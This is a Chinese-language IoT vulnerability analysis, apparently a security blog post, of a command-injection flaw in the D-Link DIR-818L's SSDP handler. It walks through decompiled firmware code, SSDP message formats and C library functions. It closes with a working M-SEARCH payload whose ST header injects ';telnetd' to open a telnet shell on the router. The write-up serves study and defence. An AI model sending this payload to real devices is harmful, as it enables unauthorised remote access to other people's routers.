某IOT设备漏洞分析
申明:本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本文及作者无关,请谨记守法.
设备名称: DLINK DIR-818l
固件包: d-link DIR818L_FW105b01 A1
环境搭建: 使用firmAE
./run.sh -r mk818l ./firematr/ DIR818L_FW105b01
目录
RCE漏洞
一、前置知识
二、漏洞分析
三、需要了解的几个重要函数
四、代码审计
RCE漏洞 一、前置知识
SSDP协议(Simple Service Discovery Protocol)
SSDP就是简单服务发现协议(SimpleServiceDiscoveryProtocol)是一种应用层协议,它是构成通用即插即用(也就是UPnP,UPnP是各种各样的智能设备、无线设备和个人电脑等实现遍布全球的对等网络连接的结构)技术的核心协议之一。用于发现局域网里面的设备和服务,SSDP消息分为设备查询消息、设备通知消息两种,通常情况下,使用更多地是设备查询消息。一般在嵌入式设备中如路由器,摄像头中较为常见。 简单服务发现协议提供了在局部网络里面发现设备的机制。控制点(也就是接受服务的客户端)能够直接通过使用简单服务发现协议,根据自己的需要查询在自己所在的局部网络里面提供特定服务的设备。设备(也就是提供服务的服务器端)也能够直接通过使用简单服务发现协议,向自己所在的局部网络里面的控制点宣告它的存在。
请求头消息格式
M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 MAN: "ssdp:discover" MX: 5 ST: ssdp:all
1 消息头为固定格式
2 HOST地址 ip:port
3 MAN后面的ssdp:discover为固定格式
4 MX为最长等待时间
5 ST 查询目标,它的值可以是: upnp:rootdevice 仅搜索网络中的根设备 uuid:device-UUID 查询UUID标识的设备 urn:schemas-upnp-org:device:device-Type:version 查询device-Type字段指定的设备类型,设备类型和版本由UPNP组织定义,其中,第三种一般可以用来自定义设备,如:ST: urn:schemas-upnp-org:device:Server:1
响应包
HTTP/1.1 200 OK CACHE-CONTROL: max-age = seconds until advertisement expires DATE: when reponse was generated EXT: LOCATION: URL for UPnP description for root device SERVER: OS/Version UPNP/1.0 product/version ST: search target USN: advertisement UUID
和HTTP协议极为相似,为后续的知识做基础
二、漏洞分析此次触发RCE的漏洞函数为 ssdpcgi_main()
提权固件后进行逆向分析,其反汇编代码如下:
ssdpcgi_main()
int __fastcall ssdpcgi_main(int a1) { int result; // $v0 char *v2; // $s0 char *v3; // $s3 char *v4; // $v0 char *v5; // $s2 const char *v6; // $s1 bool v7; // dc char *v8; // $a2 const char *v9; // $a0 result = -1; if ( a1 == 2 ) { v2 = getenv("HTTP_ST"); v3 = getenv("REMOTE_ADDR"); v5 = getenv("REMOTE_PORT"); v4 = getenv("SERVER_ID"); v6 = v4; if ( v2 && v3 && v5 ) { v7 = v4 == 0; result = -1; if ( !v7 ) { v7 = strchr(v2, '`') != 0; result = -1; if ( !v7 ) { v7 = strchr(v3, '`') != 0; result = -1; if ( !v7 ) { v7 = strchr(v5, '`') != 0; result = -1; if ( !v7 ) { v7 = strchr(v6, '`') != 0; result = -1; if ( !v7 ) { if ( !strncmp(v2, "ssdp:all", 8u) ) { v8 = v3; v9 = "%s ssdpall %s:%s %s &"; LABEL_14: lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUN return 0; } if ( !strncmp(v2, "upnp:rootdevice", 15u) ) { v8 = v3; v9 = "%s rootdevice %s:%s %s &"; goto LABEL_14; } if ( !strncmp(v2, "uuid:", 5u) ) { lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } v7 = strncmp(v2, "urn:", 4u) != 0; result = 0; if ( v7 ) return result; if ( strstr(v2, ":device:") ) // 漏洞利用点 { lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } if ( strstr(v2, ":service:") ) { lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } result = 0; } } } } } } else { result = -1; } } return result; }lxmldbc_system()
int lxmldbc_system(const char *a1, ...) { char v2[1028]; // [sp+1Ch] [-404h] BYREF va_list va; // [sp+42Ch] [+Ch] BYREF va_start(va, a1); vsnprintf(v2, 1024u, a1, va); return system(v2); }先分析lxmldbc_system()这个函数,因为这个函数才是触发代码执行的函数
这个函数中有俩个比较重要的函数一个是vsnprintf(),system()
system执行命令的函数 传入的参数为 v2回溯到最前面是发现HTTP_ST中的内容也就是SSDP协议中ST字段中的内容,那么是不是可以将ST:字段中的内容插入一些特殊命令,传递进这个函数中就可以达到执行命令的作用,先不考虑有什么过滤,用什么办法才能将参数完整传进来,以及怎么写payload
三、需要了解的几个重要函数vsnprintf()
int vsnprintf (char * sbuf, size_t n, const char * format, va_list arg );
参数sbuf:用于缓存格式化字符串结果的字符数组
参数n:限定最多打印到缓冲区sbuf的字符的个数为n-1个,因为vsnprintf还要在结果的末尾追加\0。如果格式化字符串长度大于n-1,则多出的部分被丢弃。如果格式化字符串长度小于等于n-1,则可以格式化的字符串完整打印到缓冲区sbuf。一般这里传递的值就是sbuf缓冲区的长度。
参数format:格式化限定字符串
参数arg:可变长度参数列表
作用:使用vsnprintf()用于向一个字符串缓冲区打印格式化字符串,且可以限定打印的格式化字符串的最大长度。
说白了就是将sbuf数组中的字符串打印出来,那么如果这个sbuf数组中是一些危险的命令,是不是就可以将命令传入system函数中执行从而执行命令。
#include <stdio.h> #include <string.h> #include <stdarg.h> #define SBUF_SIZE 128 char sbuf[SBUF_SIZE]; void MyPrintF( const char * format, ... ) { va_list args; va_start (args, format); vsnprintf (sbuf,SBUF_SIZE,format, args); va_end (args); printf("%s",sbuf); } int main() { MyPrintF("my name is %s,my age is %d\n","bob",18); return 0; }system()函数
这个函数很简单执行命令,但是传统使用这个函数的时候通常一般会这么用 system("id") 这样会返回一个id值 是执行命令以后的id值 但是system()还有一种执行命令的方法就是在函数中可以加;号,如:system("id;id;id;id;id") 这样是可以直接执行5个id命令,也就是返回5个id值
也就是后面ST:为什么要这样构造payload
strchr()
在字符串中寻找字符C第一次出现的位置,并返回其位置(地址指针),若失败则返回NULL;
#include<string.h> #include<stdio.h> int main() { char *str="Hello,I am sky2098,I liking programing!"; char character='k' ; //指定一个字符 char *strtemp; strtemp=strchr(str,character); if(strtemp!=NULL) { printf("%s ",strtemp); } else { printf("can not find %c !",strtemp); } return 0; }strncmp(s1,s2,n)
用来比较s1和s2字符串的前n个字符。如果两个字符串相等的话,strncmp将返回0。如果s1是s2的一个子串的话,s1小于s2。
strstr(haystack,needle)
该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null
#include <stdio.h> #include <string.h> int main() { const char haystack[20] = "RUNOOB"; const char needle[10] = "NOOB"; char *ret; ret = strstr(haystack, needle); printf("子字符串是: %s\n", ret); return(0); } 四、代码审计然后开始分析 ssdpcgi_main()这个函数,原始if中的代码用xxxx()函数表示,比较好看一些,lxmldbc_system()也在xxxx()函数中。首先得让a1=2才可以执行if中的内容,具体a1是什么内容后面再继续分析。
第一个IF语句
if ( a1 == 2 ) { xxxx() } return result;第二个IF语句 判断v2,v3,v5 参数完不完整,不完整直接退出
if ( v2 && v3 && v5 ) { v7 = v4 == 0; result = -1; xxxx1() } else{ result = -1; }第三个IF语句
判断v7是不是为空值 也就是之前v4的服务号,判断有没有服务开启
if ( !v7 ) { v7 = strchr(v2, '`') != 0; result = -1; if ( !v7 ) { v7 = strchr(v3, '`') != 0; result = -1; if ( !v7 ) { v7 = strchr(v5, '`') != 0; result = -1; if ( !v7 ) { v7 = strchr(v6, '`') != 0; result = -1; if ( !v7 ) { if ( !strncmp(v2, "ssdp:all", 8u) ) { v8 = v3; v9 = "%s ssdpall %s:%s %s &"; LABEL_14: lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUN return 0; } if ( !strncmp(v2, "upnp:rootdevice", 15u) ) { v8 = v3; v9 = "%s rootdevice %s:%s %s &"; goto LABEL_14; } if ( !strncmp(v2, "uuid:", 5u) ) { lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } v7 = strncmp(v2, "urn:", 4u) != 0; result = 0; if ( v7 ) return result; if ( strstr(v2, ":device:") ) // 漏洞利用点 { lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } if ( strstr(v2, ":service:") ) { lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } result = 0; } } } } }第 四 五 六个IF语句
主要是针对v2, v3,v5,v6 进行判断看传入的参数中有无 ` 号 防止一些命令进行执行。
if ( !v7 ) { v7 = strchr(v3, '`') != 0; result = -1; if ( !v7 ) { v7 = strchr(v5, '`') != 0; result = -1; if ( !v7 ) { v7 = strchr(v6, '`') != 0; result = -1;继续更进
通过继续分析得知如果需要执行命令得保证lxmldbc_system()函数中有V2变量
if ( !strncmp(v2, "ssdp:all", 8u) ) { v8 = v3; v9 = "%s ssdpall %s:%s %s &"; LABEL_14: lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUN return 0; } if ( !strncmp(v2, "upnp:rootdevice", 15u) ){ v8 = v3; v9 = "%s rootdevice %s:%s %s &"; goto LABEL_14; } if ( !strncmp(v2, "uuid:", 5u) ) { lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } v7 = strncmp(v2, "urn:", 4u) != 0; result = 0; if ( v7 ) return result; if ( strstr(v2, ":device:") ) // 漏洞利用点 { lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } if ( strstr(v2, ":service:") ){ lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; }通过以上筛选得出最可能存在利用点的地方
if ( strstr(v2, ":device:") ){ // 漏洞利用点 lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; } if ( strstr(v2, ":service:") ) { lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2); return 0; }总结以上内容构造payload为
M-SEARCH * HTTP/1.1 HOST:ip:prot ST:urn:device:1;telnetd // telnetd 为执行的命令 可以换其他的比如touch 1.txt 生成1.txt文本 MX:2 MAN:"ssdp:discover"
通过测试发现一开始的a1的值及MX:字段的内容为2
参考文章链接:
IOTsec-Zone物联网安全社区
SSDP协议_慕容野野的博客-CSDN博客_ssdp协议